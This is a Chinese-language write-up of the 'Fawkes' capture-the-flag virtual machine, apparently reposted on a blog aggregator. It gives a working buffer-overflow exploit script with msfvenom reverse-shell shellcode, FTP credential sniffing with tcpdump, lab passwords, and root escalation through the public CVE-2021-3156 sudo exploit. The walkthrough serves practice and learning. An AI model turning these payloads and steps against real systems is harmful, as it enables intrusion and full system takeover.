11、Fawkes

news2024/11/26 4:26:07

难度 高

目标 2个root 3个flag

当我看到这种类型我就知道肯定是docker系列的连锁环境了

netdiscover -i eth0 -r 192.168.189.0/24

kali 192.168.189.58 靶机 192.168.189.69

扫描一下开放的端口和服务识别

应该是存在ftp 的匿名访问,然后还有一个monkeycom?好奇怪的服务在网上找了一下好像是很老的服务都没有什么相关的介绍,另外有两个ssh我估计使用其中有docker服务的ssh端口被映射出来了

ftp 192.168.189.69

ftp>get server_hogwarts

匿名访问到发ftp目录下面有一个文件,下载查看使用elf的文件

顺便访问一下这个web服务,ftp匿名访问也没找到什么利用方式,除了可以上传文件?

尝试运行了一下这个server的文件,发现他会开启一个9889的端口,估计可能和靶机上面的9898端口有关系,还有这个nmap扫描出来的结果

有点抽象,不知道在玩什么名堂

访问网站就一张哈利波特的图片

扫了一下目录没有扫出东西来?只剩下ssh端口爆破没有尝试了,ssh弱口令我是认为希望不大的,没什么思路了,看一下wp

看了一眼。。。原来是要nc访问9898,我就说怎么找不到输入命令的地方,看前面的这个翻译就像是交互的shell一样

现在本地启动一下这个服务

nc 127.0.0.1 9898 连接一下

发现真就是在对话没有其他的功能点了。

wp中说是缓存区溢出漏洞,本来有点打算换一个靶机打的,不过最近正好有学习一些免杀的知识同时也接触了汇编刚好看得懂一点这种反汇编的内容

因为kali本机存在ALSR安全技术,地址空间随机化,会造成内存地址的随机化,导致无法确定缓冲区溢出的位置。所以需要先把这个关闭

cd /proc/sys/kernel

echo 0 > randomize_va_space

值为2是开启,值为0为关闭

然后启动server_的服务,然后打开这个edb程序,在file 选择attack找到server_,这个server_要用kali的用户启动,否则edb还打不开没权限

再点击上面那个run

然后就可以使用nc来连接了

为了测试缓存区溢出可以使用命令生成500个A,然后输入这500个A来测试

python -c "print('A'*500)"

输入500个A然后程序报错了

点击ok后eip被覆盖为了41414141

EIP寄存器存储的是下一个指令的内存地址(可以理解为调试工具需要根据EIP才知道下一个调试的指令),而ESP存储器存储的是是的具体指令,

攻击思路,可以使eip的值实现jmp跳转到esp空间,然后esp中填充我们的恶意shellcode

接下里是确定溢出的位置

首先使用一个msf的小脚本进行生成各不相同的字符

msf-pattern_create -l 500

然后拿得到的字符再次去输入(重启一下这个server_)

此时的报错变成了0x064413764,这个位置很有可能就是溢出的位置

然后使用另一个msf小脚本进行计算一下这个溢出的位置也就是偏移值是多少

msf-pattern_offset -l 500 -q 64413764

也就是从113开始后面4个就是写入到eip的值

为了验证可以使用一个输入112个A加4个B然后加一堆C

0x42就是B,eip的位置被B覆盖了,而esp全是C,这可以证明溢出位置就是B所在的地方

找到了溢出的位置这个时候就需要寻找一个跳转esp的指令,也就是 jmp esp这样的指令找到对应的内存地址,然后让eip写入这个内存地址这样就可以实现下一步跳到esp,而esp的空间保存了很多的C,这部分空间可以用来写入反弹shell的16进制shellcode用来反弹shell

在重新加载程序后,使用插件plugins中的Opcodesearcher里的Opcode search

然后选择esp->eip 即esp的内存地址做为eip的值 然后左边选择 r-x 要有x的权限的进程

然后find

可以找到一个jmp esp 的指令

然后记录下这个地址

0x08049d55 但是机器指令是反着读入的,所以在写的时候需要由高位写到低位 \x55\x9d\x04\x08

使用msfvenom生成反弹shell的payload

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.81.58 LPORT=4444 -b "\x00" -f python //这里的-b "\x00" 的作用是去除生成的payload中的\x00 ,这个\x00是终止字符,也被称为坏字节,程序遇到\x00可能会终止,为了防止意外需要将这个去除。 -f 就是格式是python的格式

然后写个套接字tcp连接的python脚本用来发送payload

Python2的脚本

import sys,socket



buf =  b""
buf += b"\xbd\xd4\x75\x45\x10\xdb\xc1\xd9\x74\x24\xf4\x58"
buf += b"\x33\xc9\xb1\x12\x31\x68\x12\x83\xc0\x04\x03\xbc"
buf += b"\x7b\xa7\xe5\x0d\x5f\xd0\xe5\x3e\x1c\x4c\x80\xc2"
buf += b"\x2b\x93\xe4\xa4\xe6\xd4\x96\x71\x49\xeb\x55\x01"
buf += b"\xe0\x6d\x9f\x69\x33\x25\x0e\x53\xdb\x34\xb1\xb2"
buf += b"\x47\xb0\x50\x04\x11\x92\xc3\x37\x6d\x11\x6d\x56"
buf += b"\x5c\x96\x3f\xf0\x31\xb8\xcc\x68\xa6\xe9\x1d\x0a"
buf += b"\x5f\x7f\x82\x98\xcc\xf6\xa4\xac\xf8\xc5\xa7"

payload = 'A' * 112 + '\x55\x9d\x04\x08' + '\x90' * 32 + buf  //这里\x90是nop,程序运行到这里会自动向下走不会有任何的作用,这里添加32的作用是为了提高容错率,防止代码连在一起发生什么意外的错误。
try:
    s = socket.socket()
    s.connect(('127.0.0.1', 9898))
    s.send((payload))
    s.close()
except:
    print('wrong')
    sys.exit()

运行此脚本成功将shell反弹了回来

成功的利用脚本将shell弹回,可以拿到靶机上使用了

kali 192.168.81.58 靶机 192.168.81.69

修改目标地址后运行脚本,成功将shell反弹回来了

为了维持权限建立msf的链接

ls -al / 查看一下目录,发现docker

确定此时在docker容器中

然后查看一下家目录下面有没有什么可以用来提权的有用的信息

发现一个.mycreds.txt

很有可能是ssh密码 HarrYp0tter@Hogwarts123

而且2222端口也是ssh估计就是这个docker的ssh

尝试发现果然是的

然后尝试提权,首先尝试sudo看是否被设置为可以直接切换root的权限

尝试了一下发现可以直接提权到root

有了root权限继续看看他的家里有什么

有一个flag和一个提示,提示说需要我们去分析流量,搞清楚user

这里是命令行所以只能使用比较原始的抓包工具 tcpdump

tcpdump -i eth0 port 21 #这里指定抓21端口的包 ,指定网卡eth0

等待一段时间后抓到了一段数据包

在数据包中可以看到172.17.0.1在向这个的21端口建立ftp的链接,其中用户名和密码明文传输

neville bL!Bsg3k

直接尝试登录ssh

也是直接登录成功了

尝试一下sudo发现要密码提升不了

然后发现第二个魂器

通过msf的自动提权模块发现了两个可以使用的模块

其中一个尝试后发现不行,但是另一个CVE-2021-3156 好像可以但是需要修改点东西

CVE-2021-3156,该漏洞被命名为“Baron Samedit”

影响版本

Sudo 1.8.2 - 1.8.31p2

Sudo 1.9.0 - 1.9.5p1

Ubuntu 20.04(sudo 1.8.31)、Debian 10(sudo 1.8.27)和Fedora 33(sudo 1.9.2)

看着靶机也都符合漏洞攻击的版本的

然后尝试在github上面寻找其他的相关利用exp

尝试了几个发现页不行,于是观察exp中的内容

exp GitHub - worawit/CVE-2021-3156: Sudo Baron Samedit Exploit

选择exploit_nss.py 脚本使用

查看脚本发现sudo的路径是usr/bin/sudo

但是靶机上面的sudo在usr/local/bin/sudo

估计是作者故意的

修改完后使用nc将脚本传过去

靶机 nc -lvnp 4444 > exp.py

kali nc 192.168.81.69 4444 < exploit_nss.py -w 1 #-w表示传输完后一秒断开连接

执行脚本

成功提权为root

        拿到最后一个魂器,最后哈利波特打败了伏地魔

        在这次的靶机中学到很多的知识点,首先是缓存区溢出漏洞,虽然这应该是最简单的缓存区溢出漏洞的形式,但是我对这方面基本上没怎么了解过,也是学到了很多。另外就是流量分析,这方面倒是学过很多相关的知识只是也是用的比较少,最后是对于exp的修改,将其修改为符合目标环境的这种能力还有待提高。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1985862.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Material-UI】Autocomplete 组件中的自定义过滤功能(Custom filter)详解

文章目录 一、简介二、createFilterOptions 工厂函数配置选项返回值示例代码代码解释 三、高级自定义&#xff1a;模糊匹配四、实际应用场景1. 数据清理和标准化2. 特定业务逻辑 五、总结 Material-UI 的 Autocomplete 组件不仅提供了强大的自动完成功能&#xff0c;还允许开发…

Prometheus监控组件在SpringBoot项目中使用实践

Prometheus监控组件在SpringBoot项目中使用实践 时间&#xff1a;2024/7/29 背景&#xff1a;本人最近参与的一个项目&#xff0c;要监控远程软硬件以及本地软硬件&#xff0c;实现远程监控以及告警功能。 开发环境&#xff1a; JDK1.8&#xff0c;Maven&#xff0c;PostgreS…

automa自动化工作流教程(三)循环元素进行操作

循环元素 选择器选中的必须是多个元素&#xff0c;如果是css选择器&#xff0c;举例&#xff1a;class属性有多个 .postTitle 并且要生成或填上循环id 有开发需求 call me

【轨物推荐】谈谈科学、工程与技术的关系

原创 宋华振 说东道西 2022年07月05日 23:34 上海 为什么要谈这个话题&#xff1f; 前几天&#xff0c;戴老师转发了一篇《中国科学创新四十年-可能还没搞明白科学和技术的基本概念》&#xff0c;这篇文章谈及了科学与技术的差异&#xff0c;其中谈到了几个误区&#xff0c;误…

HCIP实验-MGRE+OSPF

实验拓扑图&#xff1a; 实验要求&#xff1a; 1.R6为ISP&#xff0c;只能配置IP地址&#xff0c;R1-R5的环回为私有网段 2.R1/4/5为全连的MGRE结构&#xff0c; R1/2/3为星型的拓扑结构&#xff0c;R1为中心站点 3.所有私有网段可以互相通讯&#xff0c;私有网段使用ospf协…

【C++】————哈希表

作者主页&#xff1a; 作者主页 本篇博客专栏&#xff1a;C 创作时间 &#xff1a;2024年8月6日 前言&#xff1a; 在计算机科学的广袤世界中&#xff0c;数据结构犹如基石&#xff0c;支撑着各种高效算法的构建与运行。而哈希表&#xff08;Hash Table&#xff09;&#…

【Python系列】使用 `isinstance()` 替代 `type()` 函数

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

24. 两两交换链表中的节点(Java)

目录 题目描述&#xff1a;示例 &#xff1a;代码实现&#xff1a; 题目描述&#xff1a; 给你一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题&#xff08;即&#xff0c;只能进行节点交换&am…

基于飞腾E2000的科东软件Intewell工业实时操作系统方案

科东软件Intewell工业实时操作系统是完全自主开发的产品&#xff0c;具有20年以上行业应用经验。Intewell基于微内核架构设计&#xff0c;具备高实时、高可靠等特点&#xff0c;同时虚拟化技术支持GPOSRTOS等多种操作系统架构&#xff0c;可实现实时和非实时业务融合应用&#…

揭秘LoRA:利用深度学习原理在Stable Diffusion中打造完美图像生成的秘密武器

文章目录 引言LoRA的原理LoRA在角色生成中的应用LoRA在风格生成中的应用LoRA在概念生成中的应用LoRA在服装生成中的应用LoRA在物体生成中的应用结论 引言 在生成式人工智能领域&#xff0c;图像生成模型如Stable Diffusion凭借其出色的生成效果和广泛的应用场景&#xff0c;逐…

渲染技术如何应对数据增长与计算挑战

随着科技的飞速发展&#xff0c;数字内容的制作与呈现变得日益复杂和精细&#xff0c;这对渲染技术提出了前所未有的挑战。特别是在数据爆炸式增长和计算需求急剧提升的背景下&#xff0c;如何优化渲染技术&#xff0c;以应对这些挑战&#xff0c;成为了一个亟待解决的问题。 …

牛客JS题(二十三)判断质数

注释很详细&#xff0c;直接上代码 涉及知识点&#xff1a; 原型链如何优雅的判断质数 题干&#xff1a; 我的答案 <!DOCTYPE html> <html><head><meta charsetutf-8></head><body><script type"text/javascript">/*** 素…

试用期没烦恼 神器!!!使用doxygen+Graphviz自动生成函数调用关系图

大家好&#xff0c;我是 小杰学长 使用doxygenGraphviz自动生成函数调用关系图 gitee源码仓库链接跳转 前言 1.下载 首先&#xff0c;下载2个软件&#xff0c; 最新版即可&#xff0c; Doxygen 下载地址&#xff1a; https://sourceforge.net/projects/doxygen/ 下载步骤…

OLAP技术与数据仓库:深度分析与决策支持

目录 一、OLAP 概述 二、OLAP应用场景 三、OLAP对数据仓库的意义 一、OLAP 概述 OLAP&#xff08;Online Analytical Processing&#xff09;即联机分析处理&#xff0c;是一种用于多维数据分析的技术和工具。它允许用户通过多维数据模型进行复杂的分析&#xff0c;以便快速浏览…

sqli-labs(超详解)——Lass32~Lass38

Lass32&#xff08;宽字节注入&#xff09; 源码 function check_addslashes($string) {$string preg_replace(/. preg_quote(\\) ./, "\\\\\\", $string); //escape any backslash$string preg_replace(/\/i, \\\, $string); …

【iOS】——AutoReleasePool底层原理及总结

自动释放池 AutoreleasePool自动释放池用来延迟对象的释放时机&#xff0c;将对象加入到自动释放池后这个对象不会立即释放&#xff0c;等到自动释放池被销毁后才将里边的对象释放。 自动释放池的生命周期 从程序启动到加载完成&#xff0c;主线程对应的runloop会处于休眠状…

C++初学(11)

不知不觉就第11篇了QWQ 11.1、指针和自由存储空间 之前提到了计算机程序在存储数据时必须跟踪的3个基本属性&#xff1a; &#xff08;1&#xff09;信息存储在何处&#xff1b; &#xff08;2&#xff09;存储的值为多少&#xff1b; &#xff08;3&#xff09;存储的信息…

GitHub爆赞的Web安全防护指南,网络安全零基础入门必备教程!

web安全现在占据了企业信息安全的很大一部分比重&#xff0c;每个企业都有对外发布的很多业务系统&#xff0c;如何保障web业务安全也是一项信息安全的重要内容。 然而Web 安全是一个实践性很强的领域&#xff0c;需要通过大量的练习来建立对漏洞的直观认识&#xff0c;并积累…

xtrabackup搭建MySQL 8.0 主从复制

xtrabackup搭建MySQL 8.0 主从复制 安装MySQL 8.0.37安装xtrabackupGTIDs初始化从库参考&#xff1a;GTID概述GTID相较与传统复制的优势GTID自身存在哪些限制GTID工作原理简单介绍如何开启GTID复制GTID与传统模式建立复制时候语句的不同点传统复制GTID复制 GTID同步状态简单解析…

Docker技术背景与应用:解决现代开发中的关键问题

目录 Docker技术背景与应用&#xff1a;解决现代开发中的关键问题 一、Docker的技术背景 1. 什么是Docker&#xff1f; 2. Docker的核心组件 3. Docker的历史发展 二、Docker解决了哪些问题&#xff1f; 1. 环境一致性问题 2. 依赖管理问题 3. 部署复杂性问题 4. 资源…